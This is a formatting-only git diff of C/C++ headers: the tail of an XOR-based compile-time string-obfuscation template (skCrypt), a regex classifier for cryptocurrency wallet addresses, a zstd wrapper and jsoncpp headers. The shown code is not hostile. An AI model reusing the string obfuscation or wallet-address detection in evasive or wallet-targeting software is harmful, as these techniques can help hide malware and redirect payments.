char key() + { + return _key1; + } - __forceinline T* encrypt() - { - if (!isEncrypted()) - crypt(_storage); + __forceinline T* encrypt() + { + if (!isEncrypted()) + crypt(_storage); - return _storage; - } + return _storage; + } - __forceinline T* decrypt() - { - if (isEncrypted()) - crypt(_storage); + __forceinline T* decrypt() + { + if (isEncrypted()) + crypt(_storage); - return _storage; - } + return _storage; + } - __forceinline bool isEncrypted() - { - return _storage[_size - 1] != 0; - } + __forceinline bool isEncrypted() + { + return _storage[_size - 1] != 0; + } - __forceinline void clear() // set full storage to 0 - { - for (int i = 0; i < _size; i++) - { - _storage[i] = 0; - } - } + __forceinline void clear() // set full storage to 0 + { + for (int i = 0; i < _size; i++) { + _storage[i] = 0; + } + } - __forceinline operator T* () - { - decrypt(); + __forceinline operator T* () + { + decrypt(); - return _storage; - } - - private: - __forceinline constexpr void crypt(T* data) - { - for (int i = 0; i < _size; i++) - { - _storage[i] = data[i] ^ (_key1 + i % (1 + _key2)); - } - } + return _storage; + } - T _storage[_size]{}; - }; +private: + __forceinline constexpr void crypt(T* data) + { + for (int i = 0; i < _size; i++) { + _storage[i] = data[i] ^ (_key1 + i % (1 + _key2)); + } + } + + T _storage[_size]{}; +}; } #define skCrypt(str) skCrypt_key(str, __TIME__[4], __TIME__[7]) diff --git a/common/wallet.h b/common/wallet.h index e65251a..aa1be80 100644 --- a/common/wallet.h +++ b/common/wallet.h @@ -5,101 +5,116 @@ // Powered by ChatGPT. enum WalletType { - WALLET_UNKNOWN = 0, - WALLET_BTC_P2PKH, - WALLET_BTC_P2SH, - WALLET_BTC_BECH32, - WALLET_ETH_ERC20, // ETH、ERC20(含 USDT-ERC20) - WALLET_USDT_OMNI, // USDT Omni,BTC 网络,格式同 BTC - WALLET_USDT_TRC20, // USDT TRC20 - WALLET_TRON, - WALLET_SOLANA, - WALLET_XRP, - WALLET_POLKADOT, - WALLET_CARDANO_SHELLEY, - WALLET_CARDANO_BYRON, - WALLET_DOGE // Dogecoin + WALLET_UNKNOWN = 0, + WALLET_BTC_P2PKH, + WALLET_BTC_P2SH, + WALLET_BTC_BECH32, + WALLET_ETH_ERC20, // ETH、ERC20(含 USDT-ERC20) + WALLET_USDT_OMNI, // USDT Omni,BTC 网络,格式同 BTC + WALLET_USDT_TRC20, // USDT TRC20 + WALLET_TRON, + WALLET_SOLANA, + WALLET_XRP, + WALLET_POLKADOT, + WALLET_CARDANO_SHELLEY, + WALLET_CARDANO_BYRON, + WALLET_DOGE // Dogecoin }; enum AddressType { - ADDR_BTC = 0, - ADDR_ERC20, - ADDR_OMNI, - ADDR_TRC20, - ADDR_SOL, - ADDR_XRP, - ADDR_ADA, - ADDR_DOGE, - ADDR_DOT, - ADDR_TRON, - MAX_WALLET_NUM, + ADDR_BTC = 0, + ADDR_ERC20, + ADDR_OMNI, + ADDR_TRC20, + ADDR_SOL, + ADDR_XRP, + ADDR_ADA, + ADDR_DOGE, + ADDR_DOT, + ADDR_TRON, + MAX_WALLET_NUM, }; -inline WalletType detectWalletType(const std::string& address_raw) { - std::string address = address_raw; - address.erase(0, address.find_first_not_of(" \t\n\r")); - address.erase(address.find_last_not_of(" \t\n\r") + 1); +inline WalletType detectWalletType(const std::string& address_raw) +{ + std::string address = address_raw; + address.erase(0, address.find_first_not_of(" \t\n\r")); + address.erase(address.find_last_not_of(" \t\n\r") + 1); - // 1. ETH/ERC20(0x 开头) - static const std::regex eth_regex("^0x[a-fA-F0-9]{40}$"); - if (std::regex_match(address, eth_regex)) return WALLET_ETH_ERC20; + // 1. ETH/ERC20(0x 开头) + static const std::regex eth_regex("^0x[a-fA-F0-9]{40}$"); + if (std::regex_match(address, eth_regex)) return WALLET_ETH_ERC20; - // 2. TRC20(T 开头) - static const std::regex trc20_regex("^T[1-9A-HJ-NP-Za-km-z]{33}$"); - if (std::regex_match(address, trc20_regex)) return WALLET_USDT_TRC20; + // 2. TRC20(T 开头) + static const std::regex trc20_regex("^T[1-9A-HJ-NP-Za-km-z]{33}$"); + if (std::regex_match(address, trc20_regex)) return WALLET_USDT_TRC20; - // 3. BTC Bech32(bc1 开头) - static const std::regex btc_bech32_regex("^bc1[0-9a-z]{6,}$"); - if (std::regex_match(address, btc_bech32_regex)) return WALLET_BTC_BECH32; + // 3. BTC Bech32(bc1 开头) + static const std::regex btc_bech32_regex("^bc1[0-9a-z]{6,}$"); + if (std::regex_match(address, btc_bech32_regex)) return WALLET_BTC_BECH32; - // 4. BTC P2PKH(1 开头) - static const std::regex btc_p2pkh_regex("^1[1-9A-HJ-NP-Za-km-z]{25,34}$"); - if (std::regex_match(address, btc_p2pkh_regex)) return WALLET_BTC_P2PKH; + // 4. BTC P2PKH(1 开头) + static const std::regex btc_p2pkh_regex("^1[1-9A-HJ-NP-Za-km-z]{25,34}$"); + if (std::regex_match(address, btc_p2pkh_regex)) return WALLET_BTC_P2PKH; - // 5. BTC P2SH(3 开头) - static const std::regex btc_p2sh_regex("^3[1-9A-HJ-NP-Za-km-z]{25,34}$"); - if (std::regex_match(address, btc_p2sh_regex)) return WALLET_BTC_P2SH; + // 5. BTC P2SH(3 开头) + static const std::regex btc_p2sh_regex("^3[1-9A-HJ-NP-Za-km-z]{25,34}$"); + if (std::regex_match(address, btc_p2sh_regex)) return WALLET_BTC_P2SH; - // 6. XRP(r 开头,Base58) - static const std::regex xrp_regex("^r[1-9A-HJ-NP-Za-km-z]{24,34}$"); - if (std::regex_match(address, xrp_regex)) return WALLET_XRP; + // 6. XRP(r 开头,Base58) + static const std::regex xrp_regex("^r[1-9A-HJ-NP-Za-km-z]{24,34}$"); + if (std::regex_match(address, xrp_regex)) return WALLET_XRP; - // 7. Dogecoin(D 开头,Base58) - static const std::regex doge_regex("^D[5-9A-HJ-NP-Ua-km-z]{33}$"); - if (std::regex_match(address, doge_regex)) return WALLET_DOGE; + // 7. Dogecoin(D 开头,Base58) + static const std::regex doge_regex("^D[5-9A-HJ-NP-Ua-km-z]{33}$"); + if (std::regex_match(address, doge_regex)) return WALLET_DOGE; - // 8. Cardano Shelley(addr1 开头) - static const std::regex ada_shelley_regex("^addr1[0-9a-z]{20,}$"); - if (std::regex_match(address, ada_shelley_regex)) return WALLET_CARDANO_SHELLEY; + // 8. Cardano Shelley(addr1 开头) + static const std::regex ada_shelley_regex("^addr1[0-9a-z]{20,}$"); + if (std::regex_match(address, ada_shelley_regex)) return WALLET_CARDANO_SHELLEY; - // 9. Cardano Byron(DdzFF 开头) - if (address.find("DdzFF") == 0) return WALLET_CARDANO_BYRON; + // 9. Cardano Byron(DdzFF 开头) + if (address.find("DdzFF") == 0) return WALLET_CARDANO_BYRON; - // 10. Polkadot(长度 47–48,Base58) - static const std::regex dot_regex("^[1-9A-HJ-NP-Za-km-z]{47,48}$"); - if (std::regex_match(address, dot_regex)) return WALLET_POLKADOT; + // 10. Polkadot(长度 47–48,Base58) + static const std::regex dot_regex("^[1-9A-HJ-NP-Za-km-z]{47,48}$"); + if (std::regex_match(address, dot_regex)) return WALLET_POLKADOT; - // 11. Solana(32–44,无前缀,Base58)→ 容易误判,必须放最后 - static const std::regex solana_regex("^[1-9A-HJ-NP-Za-km-z]{32,44}$"); - if (std::regex_match(address, solana_regex)) return WALLET_SOLANA; + // 11. Solana(32–44,无前缀,Base58)→ 容易误判,必须放最后 + static const std::regex solana_regex("^[1-9A-HJ-NP-Za-km-z]{32,44}$"); + if (std::regex_match(address, solana_regex)) return WALLET_SOLANA; - return WALLET_UNKNOWN; + return WALLET_UNKNOWN; } -inline std::string walletTypeToString(WalletType type) { - switch (type) { - case WALLET_BTC_P2PKH: return "Bitcoin P2PKH (includes USDT-OMNI)"; - case WALLET_BTC_P2SH: return "Bitcoin P2SH (includes USDT-OMNI)"; - case WALLET_BTC_BECH32: return "Bitcoin Bech32"; - case WALLET_ETH_ERC20: return "Ethereum / ERC20 (includes USDT-ERC20)"; - case WALLET_USDT_TRC20: return "USDT TRC20"; - case WALLET_TRON: return "TRON (same as USDT-TRC20)"; - case WALLET_SOLANA: return "Solana"; - case WALLET_XRP: return "XRP"; - case WALLET_POLKADOT: return "Polkadot"; - case WALLET_CARDANO_SHELLEY: return "Cardano Shelley"; - case WALLET_CARDANO_BYRON: return "Cardano Byron"; - case WALLET_DOGE: return "Dogecoin"; - default: return "Unknown or Unsupported"; - } +inline std::string walletTypeToString(WalletType type) +{ + switch (type) { + case WALLET_BTC_P2PKH: + return "Bitcoin P2PKH (includes USDT-OMNI)"; + case WALLET_BTC_P2SH: + return "Bitcoin P2SH (includes USDT-OMNI)"; + case WALLET_BTC_BECH32: + return "Bitcoin Bech32"; + case WALLET_ETH_ERC20: + return "Ethereum / ERC20 (includes USDT-ERC20)"; + case WALLET_USDT_TRC20: + return "USDT TRC20"; + case WALLET_TRON: + return "TRON (same as USDT-TRC20)"; + case WALLET_SOLANA: + return "Solana"; + case WALLET_XRP: + return "XRP"; + case WALLET_POLKADOT: + return "Polkadot"; + case WALLET_CARDANO_SHELLEY: + return "Cardano Shelley"; + case WALLET_CARDANO_BYRON: + return "Cardano Byron"; + case WALLET_DOGE: + return "Dogecoin"; + default: + return "Unknown or Unsupported"; + } } diff --git a/common/zstd_wrapper.c b/common/zstd_wrapper.c index 61502e5..249ae94 100644 --- a/common/zstd_wrapper.c +++ b/common/zstd_wrapper.c @@ -6,7 +6,8 @@ size_t zstd_compress_auto( void* dst, size_t dstCapacity, const void* src, size_t srcSize, size_t threshold -) { +) +{ // 检查输入有效性 if (!cctx || !dst || !src) { return ZSTD_error_GENERIC; @@ -26,7 +27,7 @@ size_t zstd_compress_auto( while (input.pos < input.size) { ret = ZSTD_compressStream2(cctx, &output, &input, ZSTD_e_continue); if (ZSTD_isError(ret)) break; - + // 输出缓冲区已满(理论上不应发生,因 dstCapacity >= ZSTD_compressBound) if (output.pos == output.size) { return ZSTD_error_dstSize_tooSmall; diff --git a/compress/jsoncpp/allocator.h b/compress/jsoncpp/allocator.h index f4fcc1c..4fdd1b1 100644 --- a/compress/jsoncpp/allocator.h +++ b/compress/jsoncpp/allocator.h @@ -12,76 +12,93 @@ #pragma pack(push) #pragma pack() -namespace Json { -template class SecureAllocator { +namespace Json +{ +template class SecureAllocator +{ public: - // Type definitions - using value_type = T; - using pointer = T*; - using const_pointer = const T*; - using reference = T&; - using const_reference = const T&; - using size_type = std::size_t; - using difference_type = std::ptrdiff_t; + // Type definitions + using value_type = T; + using pointer = T*; + using const_pointer = const T*; + using reference = T&; + using const_reference = const T&; + using size_type = std::size_t; + using difference_type = std::ptrdiff_t; - /** - * Allocate memory for N items using the standard allocator. - */ - pointer allocate(size_type n) { - // allocate using "global operator new" - return static_cast(::operator new(n * sizeof(T))); - } + /** + * Allocate memory for N items using the standard allocator. + */ + pointer allocate(size_type n) + { + // allocate using "global operator new" + return static_cast(::operator new(n * sizeof(T))); + } - /** - * Release memory which was allocated for N items at pointer P. - * - * The memory block is filled with zeroes before being released. - */ - void deallocate(pointer p, size_type n) { - // memset_s is used because memset may be optimized away by the compiler - memset_s(p, n * sizeof(T), 0, n * sizeof(T)); - // free using "global operator delete" - ::operator delete(p); - } + /** + * Release memory which was allocated for N items at pointer P. + * + * The memory block is filled with zeroes before being released. + */ + void deallocate(pointer p, size_type n) + { + // memset_s is used because memset may be optimized away by the compiler + memset_s(p, n * sizeof(T), 0, n * sizeof(T)); + // free using "global operator delete" + ::operator delete(p); + } - /** - * Construct an item in-place at pointer P. - */ - template void construct(pointer p, Args&&... args) { - // construct using "placement new" and "perfect forwarding" - ::new (static_cast(p)) T(std::forward(args)...); - } + /** + * Construct an item in-place at pointer P. + */ + template void construct(pointer p, Args&&... args) + { + // construct using "placement new" and "perfect forwarding" + ::new (static_cast(p)) T(std::forward(args)...); + } - size_type max_size() const { return size_t(-1) / sizeof(T); } + size_type max_size() const + { + return size_t(-1) / sizeof(T); + } - pointer address(reference x) const { return std::addressof(x); } + pointer address(reference x) const + { + return std::addressof(x); + } - const_pointer address(const_reference x) const { return std::addressof(x); } + const_pointer address(const_reference x) const + { + return std::addressof(x); + } - /** - * Destroy an item in-place at pointer P. - */ - void destroy(pointer p) { - // destroy using "explicit destructor" - p->~T(); - } + /** + * Destroy an item in-place at pointer P. + */ + void destroy(pointer p) + { + // destroy using "explicit destructor" + p->~T(); + } - // Boilerplate - SecureAllocator() {} - template SecureAllocator(const SecureAllocator&) {} - template struct rebind { - using other = SecureAllocator; - }; + // Boilerplate + SecureAllocator() {} + template SecureAllocator(const SecureAllocator&) {} + template struct rebind { + using other = SecureAllocator; + }; }; template -bool operator==(const SecureAllocator&, const SecureAllocator&) { - return true; +bool operator==(const SecureAllocator&, const SecureAllocator&) +{ + return true; } template -bool operator!=(const SecureAllocator&, const SecureAllocator&) { - return false; +bool operator!=(const SecureAllocator&, const SecureAllocator&) +{ + return false; } } // namespace Json diff --git a/compress/jsoncpp/config.h b/compress/jsoncpp/config.h index 6359273..37e9f71 100644 --- a/compress/jsoncpp/config.h +++ b/compress/jsoncpp/config.h @@ -59,7 +59,7 @@ // As recommended at // https://stackoverflow.com/questions/2915672/snprintf-and-visual-studio-2010 extern JSON_API int msvc_pre1900_c99_snprintf(char* outBuf, size_t size, - const char* format, ...); + const char* format, ...); #define jsoncpp_snprintf msvc_pre1900_c99_snprintf #else #define jsoncpp_snprintf std::snprintf @@ -85,7 +85,7 @@ extern JSON_API int msvc_pre1900_c99_snprintf(char* outBuf, size_t size, #define JSONCPP_DEPRECATED(message) __attribute__((__deprecated__)) #endif // GNUC version #elif defined(_MSC_VER) // MSVC (after clang because clang on Windows emulates - // MSVC) +// MSVC) #define JSONCPP_DEPRECATED(message) __declspec(deprecated(message)) #endif // __clang__ || __GNUC__ || _MSC_VER @@ -104,7 +104,8 @@ extern JSON_API int msvc_pre1900_c99_snprintf(char* outBuf, size_t size, #endif // if !defined(JSON_IS_AMALGAMATION) -namespace Json { +namespace Json +{ using Int = int; using UInt = unsigned int; #if defined(JSON_NO_INT64) @@ -128,14 +129,14 @@ using LargestUInt = UInt64; template using Allocator = typename std::conditional, - std::allocator>::type; + std::allocator>::type; using String = std::basic_string, Allocator>; using IStringStream = std::basic_istringstream; + String::allocator_type>; using OStringStream = std::basic_ostringstream; + String::allocator_type>; using IStream = std::istream; using OStream = std::ostream; } // namespace Json diff --git a/compress/jsoncpp/forwards.h b/compress/jsoncpp/forwards.h index affe33a..37ff0ad 100644 --- a/compress/jsoncpp/forwards.h +++ b/compress/jsoncpp/forwards.h @@ -10,7 +10,8 @@ #include "config.h" #endif // if !defined(JSON_IS_AMALGAMATION) -namespace Json { +namespace Json +{ // writer.h class StreamWriter; diff --git a/compress/jsoncpp/json_features.h b/compress/jsoncpp/json_features.h index e4a61d6..c80167d 100644 --- a/compress/jsoncpp/json_features.h +++ b/compress/jsoncpp/json_features.h @@ -13,46 +13,48 @@ #pragma pack(push) #pragma pack() -namespace Json { +namespace Json +{ /** \brief Configuration passed to reader and writer. * This configuration object can be used to force the Reader or Writer * to behave in a standard conforming way. */ -class JSON_API Features { +class JSON_API Features +{ public: - /** \brief A configuration that allows all features and assumes all strings - * are UTF-8. - * - C & C++ comments are allowed - * - Root object can be any JSON value - * - Assumes Value strings are encoded in UTF-8 - */ - static Features all(); + /** \brief A configuration that allows all features and assumes all strings + * are UTF-8. + * - C & C++ comments are allowed + * - Root object can be any JSON value + * - Assumes Value strings are encoded in UTF-8 + */ + static Features all(); - /** \brief A configuration that is strictly compatible with the JSON - * specification. - * - Comments are forbidden. - * - Root object must be either an array or an object value. - * - Assumes Value strings are encoded in UTF-8 - */ - static Features strictMode(); + /** \brief A configuration that is strictly compatible with the JSON + * specification. + * - Comments are forbidden. + * - Root object must be either an array or an object value. + * - Assumes Value strings are encoded in UTF-8 + */ + static Features strictMode(); - /** \brief Initialize the configuration like JsonConfig::allFeatures; - */ - Features(); + /** \brief Initialize the configuration like JsonConfig::allFeatures; + */ + Features(); - /// \c true if comments are allowed. Default: \c true. - bool allowComments_{true}; + /// \c true if comments are allowed. Default: \c true. + bool allowComments_{true}; - /// \c true if root must be either an array or an object value. Default: \c - /// false. - bool strictRoot_{false}; + /// \c true if root must be either an array or an object value. Default: \c + /// false. + bool strictRoot_{false}; - /// \c true if dropped null placeholders are allowed. Default: \c false. - bool allowDroppedNullPlaceholders_{false}; + /// \c true if dropped null placeholders are allowed. Default: \c false. + bool allowDroppedNullPlaceholders_{false}; - /// \c true if numeric object key are allowed. Default: \c false. - bool allowNumericKeys_{false}; + /// \c true if numeric object key are allowed. Default: \c false. + bool allowNumericKeys_{false}; }; } // namespace Json diff --git a/compress/jsoncpp/reader.h b/compress/jsoncpp/reader.h index d745378..d01703f 100644 --- a/compress/jsoncpp/reader.h +++ b/compress/jsoncpp/reader.h @@ -26,7 +26,8 @@ #pragma pack(push) #pragma pack() -namespace Json { +namespace Json +{ /** \brief Unserialize a JSON document into a * Value. @@ -34,269 +35,275 @@ namespace Json { * \deprecated Use CharReader and CharReaderBuilder. */ -class JSON_API Reader { +class JSON_API Reader +{ public: - using Char = char; - using Location = const Char*; + using Char = char; + using Location = const Char*; - /** \brief An error tagged with where in the JSON text it was encountered. - * - * The offsets give the [start, limit) range of bytes within the text. Note - * that this is bytes, not codepoints. - */ - struct StructuredError { - ptrdiff_t offset_start; - ptrdiff_t offset_limit; - String message; - }; + /** \brief An error tagged with where in the JSON text it was encountered. + * + * The offsets give the [start, limit) range of bytes within the text. Note + * that this is bytes, not codepoints. + */ + struct StructuredError { + ptrdiff_t offset_start; + ptrdiff_t offset_limit; + String message; + }; - /** \brief Constructs a Reader allowing all features for parsing. - * \deprecated Use CharReader and CharReaderBuilder. - */ - Reader(); + /** \brief Constructs a Reader allowing all features for parsing. + * \deprecated Use CharReader and CharReaderBuilder. + */ + Reader(); - /** \brief Constructs a Reader allowing the specified feature set for parsing. - * \deprecated Use CharReader and CharReaderBuilder. - */ - Reader(const Features& features); + /** \brief Constructs a Reader allowing the specified feature set for parsing. + * \deprecated Use CharReader and CharReaderBuilder. + */ + Reader(const Features& features); - /** \brief Read a Value from a JSON - * document. - * - * \param document UTF-8 encoded string containing the document - * to read. - * \param[out] root Contains the root value of the document if it - * was successfully parsed. - * \param collectComments \c true to collect comment and allow writing - * them back during serialization, \c false to - * discard comments. This parameter is ignored - * if Features::allowComments_ is \c false. - * \return \c true if the document was successfully parsed, \c false if an - * error occurred. - */ - bool parse(const std::string& document, Value& root, - bool collectComments = true); + /** \brief Read a Value from a JSON + * document. + * + * \param document UTF-8 encoded string containing the document + * to read. + * \param[out] root Contains the root value of the document if it + * was successfully parsed. + * \param collectComments \c true to collect comment and allow writing + * them back during serialization, \c false to + * discard comments. This parameter is ignored + * if Features::allowComments_ is \c false. + * \return \c true if the document was successfully parsed, \c false if an + * error occurred. + */ + bool parse(const std::string& document, Value& root, + bool collectComments = true); - /** \brief Read a Value from a JSON - * document. - * - * \param beginDoc Pointer on the beginning of the UTF-8 encoded - * string of the document to read. - * \param endDoc Pointer on the end of the UTF-8 encoded string - * of the document to read. Must be >= beginDoc. - * \param[out] root Contains the root value of the document if it - * was successfully parsed. - * \param collectComments \c true to collect comment and allow writing - * them back during serialization, \c false to - * discard comments. This parameter is ignored - * if Features::allowComments_ is \c false. - * \return \c true if the document was successfully parsed, \c false if an - * error occurred. - */ - bool parse(const char* beginDoc, const char* endDoc, Value& root, - bool collectComments = true); + /** \brief Read a Value from a JSON + * document. + * + * \param beginDoc Pointer on the beginning of the UTF-8 encoded + * string of the document to read. + * \param endDoc Pointer on the end of the UTF-8 encoded string + * of the document to read. Must be >= beginDoc. + * \param[out] root Contains the root value of the document if it + * was successfully parsed. + * \param collectComments \c true to collect comment and allow writing + * them back during serialization, \c false to + * discard comments. This parameter is ignored + * if Features::allowComments_ is \c false. + * \return \c true if the document was successfully parsed, \c false if an + * error occurred. + */ + bool parse(const char* beginDoc, const char* endDoc, Value& root, + bool collectComments = true); - /// \brief Parse from input stream. - /// \see Json::operator>>(std::istream&, Json::Value&). - bool parse(IStream& is, Value& root, bool collectComments = true); + /// \brief Parse from input stream. + /// \see Json::operator>>(std::istream&, Json::Value&). + bool parse(IStream& is, Value& root, bool collectComments = true); - /** \brief Returns a user friendly string that list errors in the parsed - * document. - * - * \return Formatted error message with the list of errors with their - * location in the parsed document. An empty string is returned if no error - * occurred during parsing. - * \deprecated Use getFormattedErrorMessages() instead (typo fix). - */ - JSONCPP_DEPRECATED("Use getFormattedErrorMessages() instead.") - String getFormatedErrorMessages() const; + /** \brief Returns a user friendly string that list errors in the parsed + * document. + * + * \return Formatted error message with the list of errors with their + * location in the parsed document. An empty string is returned if no error + * occurred during parsing. + * \deprecated Use getFormattedErrorMessages() instead (typo fix). + */ + JSONCPP_DEPRECATED("Use getFormattedErrorMessages() instead.") + String getFormatedErrorMessages() const; - /** \brief Returns a user friendly string that list errors in the parsed - * document. - * - * \return Formatted error message with the list of errors with their - * location in the parsed document. An empty string is returned if no error - * occurred during parsing. - */ - String getFormattedErrorMessages() const; + /** \brief Returns a user friendly string that list errors in the parsed + * document. + * + * \return Formatted error message with the list of errors with their + * location in the parsed document. An empty string is returned if no error + * occurred during parsing. + */ + String getFormattedErrorMessages() const; - /** \brief Returns a vector of structured errors encountered while parsing. - * - * \return A (possibly empty) vector of StructuredError objects. Currently - * only one error can be returned, but the caller should tolerate multiple - * errors. This can occur if the parser recovers from a non-fatal parse - * error and then encounters additional errors. - */ - std::vector getStructuredErrors() const; + /** \brief Returns a vector of structured errors encountered while parsing. + * + * \return A (possibly empty) vector of StructuredError objects. Currently + * only one error can be returned, but the caller should tolerate multiple + * errors. This can occur if the parser recovers from a non-fatal parse + * error and then encounters additional errors. + */ + std::vector getStructuredErrors() const; - /** \brief Add a semantic error message. - * - * \param value JSON Value location associated with the error - * \param message The error message. - * \return \c true if the error was successfully added, \c false if the Value - * offset exceeds the document size. - */ - bool pushError(const Value& value, const String& message); + /** \brief Add a semantic error message. + * + * \param value JSON Value location associated with the error + * \param message The error message. + * \return \c true if the error was successfully added, \c false if the Value + * offset exceeds the document size. + */ + bool pushError(const Value& value, const String& message); - /** \brief Add a semantic error message with extra context. - * - * \param value JSON Value location associated with the error - * \param message The error message. - * \param extra Additional JSON Value location to contextualize the error - * \return \c true if the error was successfully added, \c false if either - * Value offset exceeds the document size. - */ - bool pushError(const Value& value, const String& message, const Value& extra); + /** \brief Add a semantic error message with extra context. + * + * \param value JSON Value location associated with the error + * \param message The error message. + * \param extra Additional JSON Value location to contextualize the error + * \return \c true if the error was successfully added, \c false if either + * Value offset exceeds the document size. + */ + bool pushError(const Value& value, const String& message, const Value& extra); - /** \brief Return whether there are any errors. - * - * \return \c true if there are no errors to report \c false if errors have - * occurred. - */ - bool good() const; + /** \brief Return whether there are any errors. + * + * \return \c true if there are no errors to report \c false if errors have + * occurred. + */ + bool good() const; private: - enum TokenType { - tokenEndOfStream = 0, - tokenObjectBegin, - tokenObjectEnd, - tokenArrayBegin, - tokenArrayEnd, - tokenString, - tokenNumber, - tokenTrue, - tokenFalse, - tokenNull, - tokenArraySeparator, - tokenMemberSeparator, - tokenComment, - tokenError - }; + enum TokenType { + tokenEndOfStream = 0, + tokenObjectBegin, + tokenObjectEnd, + tokenArrayBegin, + tokenArrayEnd, + tokenString, + tokenNumber, + tokenTrue, + tokenFalse, + tokenNull, + tokenArraySeparator, + tokenMemberSeparator, + tokenComment, + tokenError + }; - class Token { - public: - TokenType type_; - Location start_; - Location end_; - }; + class Token + { + public: + TokenType type_; + Location start_; + Location end_; + }; - class ErrorInfo { - public: - Token token_; - String message_; - Location extra_; - }; + class ErrorInfo + { + public: + Token token_; + String message_; + Location extra_; + }; - using Errors = std::deque; + using Errors = std::deque; - bool readToken(Token& token); - bool readTokenSkippingComments(Token& token); - void skipSpaces(); - bool match(const Char* pattern, int patternLength); - bool readComment(); - bool readCStyleComment(); - bool readCppStyleComment(); - bool readString(); - void readNumber(); - bool readValue(); - bool readObject(Token& token); - bool readArray(Token& token); - bool decodeNumber(Token& token); - bool decodeNumber(Token& token, Value& decoded); - bool decodeString(Token& token); - bool decodeString(Token& token, String& decoded); - bool decodeDouble(Token& token); - bool decodeDouble(Token& token, Value& decoded); - bool decodeUnicodeCodePoint(Token& token, Location& current, Location end, - unsigned int& unicode); - bool decodeUnicodeEscapeSequence(Token& token, Location& current, - Location end, unsigned int& unicode); - bool addError(const String& message, Token& token, Location extra = nullptr); - bool recoverFromError(TokenType skipUntilToken); - bool addErrorAndRecover(const String& message, Token& token, - TokenType skipUntilToken); - void skipUntilSpace(); - Value& currentValue(); - Char getNextChar(); - void getLocationLineAndColumn(Location location, int& line, - int& column) const; - String getLocationLineAndColumn(Location location) const; - void addComment(Location begin, Location end, CommentPlacement placement); + bool readToken(Token& token); + bool readTokenSkippingComments(Token& token); + void skipSpaces(); + bool match(const Char* pattern, int patternLength); + bool readComment(); + bool readCStyleComment(); + bool readCppStyleComment(); + bool readString(); + void readNumber(); + bool readValue(); + bool readObject(Token& token); + bool readArray(Token& token); + bool decodeNumber(Token& token); + bool decodeNumber(Token& token, Value& decoded); + bool decodeString(Token& token); + bool decodeString(Token& token, String& decoded); + bool decodeDouble(Token& token); + bool decodeDouble(Token& token, Value& decoded); + bool decodeUnicodeCodePoint(Token& token, Location& current, Location end, + unsigned int& unicode); + bool decodeUnicodeEscapeSequence(Token& token, Location& current, + Location end, unsigned int& unicode); + bool addError(const String& message, Token& token, Location extra = nullptr); + bool recoverFromError(TokenType skipUntilToken); + bool addErrorAndRecover(const String& message, Token& token, + TokenType skipUntilToken); + void skipUntilSpace(); + Value& currentValue(); + Char getNextChar(); + void getLocationLineAndColumn(Location location, int& line, + int& column) const; + String getLocationLineAndColumn(Location location) const; + void addComment(Location begin, Location end, CommentPlacement placement); - static bool containsNewLine(Location begin, Location end); - static String normalizeEOL(Location begin, Location end); + static bool containsNewLine(Location begin, Location end); + static String normalizeEOL(Location begin, Location end); - using Nodes = std::stack; - Nodes nodes_; - Errors errors_; - String document_; - Location begin_{}; - Location end_{}; - Location current_{}; - Location lastValueEnd_{}; - Value* lastValue_{}; - String commentsBefore_; - Features features_; - bool collectComments_{}; + using Nodes = std::stack; + Nodes nodes_; + Errors errors_; + String document_; + Location begin_{}; + Location end_{}; + Location current_{}; + Location lastValueEnd_{}; + Value* lastValue_{}; + String commentsBefore_; + Features features_; + bool collectComments_{}; }; // Reader /** Interface for reading JSON from a char array. */ -class JSON_API CharReader { +class JSON_API CharReader +{ public: - struct JSON_API StructuredError { - ptrdiff_t offset_start; - ptrdiff_t offset_limit; - String message; - }; + struct JSON_API StructuredError { + ptrdiff_t offset_start; + ptrdiff_t offset_limit; + String message; + }; - virtual ~CharReader() = default; - /** \brief Read a Value from a JSON - * document. The document must be a UTF-8 encoded string containing the - * document to read. - * - * \param beginDoc Pointer on the beginning of the UTF-8 encoded string - * of the document to read. - * \param endDoc Pointer on the end of the UTF-8 encoded string of the - * document to read. Must be >= beginDoc. - * \param[out] root Contains the root value of the document if it was - * successfully parsed. - * \param[out] errs Formatted error messages (if not NULL) a user - * friendly string that lists errors in the parsed - * document. - * \return \c true if the document was successfully parsed, \c false if an - * error occurred. - */ - virtual bool parse(char const* beginDoc, char const* endDoc, Value* root, - String* errs); - - /** \brief Returns a vector of structured errors encountered while parsing. - * Each parse call resets the stored list of errors. - */ - std::vector getStructuredErrors() const; - - class JSON_API Factory { - public: - virtual ~Factory() = default; - /** \brief Allocate a CharReader via operator new(). - * \throw std::exception if something goes wrong (e.g. invalid settings) + virtual ~CharReader() = default; + /** \brief Read a Value from a JSON + * document. The document must be a UTF-8 encoded string containing the + * document to read. + * + * \param beginDoc Pointer on the beginning of the UTF-8 encoded string + * of the document to read. + * \param endDoc Pointer on the end of the UTF-8 encoded string of the + * document to read. Must be >= beginDoc. + * \param[out] root Contains the root value of the document if it was + * successfully parsed. + * \param[out] errs Formatted error messages (if not NULL) a user + * friendly string that lists errors in the parsed + * document. + * \return \c true if the document was successfully parsed, \c false if an + * error occurred. */ - virtual CharReader* newCharReader() const = 0; - }; // Factory + virtual bool parse(char const* beginDoc, char const* endDoc, Value* root, + String* errs); + + /** \brief Returns a vector of structured errors encountered while parsing. + * Each parse call resets the stored list of errors. + */ + std::vector getStructuredErrors() const; + + class JSON_API Factory + { + public: + virtual ~Factory() = default; + /** \brief Allocate a CharReader via operator new(). + * \throw std::exception if something goes wrong (e.g. invalid settings) + */ + virtual CharReader* newCharReader() const = 0; + }; // Factory protected: - class Impl { - public: - virtual ~Impl() = default; - virtual bool parse(char const* beginDoc, char const* endDoc, Value* root, - String* errs) = 0; - virtual std::vector getStructuredErrors() const = 0; - }; + class Impl + { + public: + virtual ~Impl() = default; + virtual bool parse(char const* beginDoc, char const* endDoc, Value* root, + String* errs) = 0; + virtual std::vector getStructuredErrors() const = 0; + }; - explicit CharReader(std::unique_ptr impl) : _impl(std::move(impl)) {} + explicit CharReader(std::unique_ptr impl) : _impl(std::move(impl)) {} private: - std::unique_ptr _impl; + std::unique_ptr _impl; }; // CharReader /** \brief Build a CharReader implementation. @@ -311,86 +318,87 @@ private: * bool ok = parseFromStream(builder, std::cin, &value, &errs); * \endcode */ -class JSON_API CharReaderBuilder : public CharReader::Factory { +class JSON_API CharReaderBuilder : public CharReader::Factory +{ public: - // Note: We use a Json::Value so that we can add data-members to this class - // without a major version bump. - /** Configuration of this builder. - * These are case-sensitive. - * Available settings (case-sensitive): - * - `"collectComments": false or true` - * - true to collect comment and allow writing them back during - * serialization, false to discard comments. This parameter is ignored - * if allowComments is false. - * - `"allowComments": false or true` - * - true if comments are allowed. - * - `"allowTrailingCommas": false or true` - * - true if trailing commas in objects and arrays are allowed. - * - 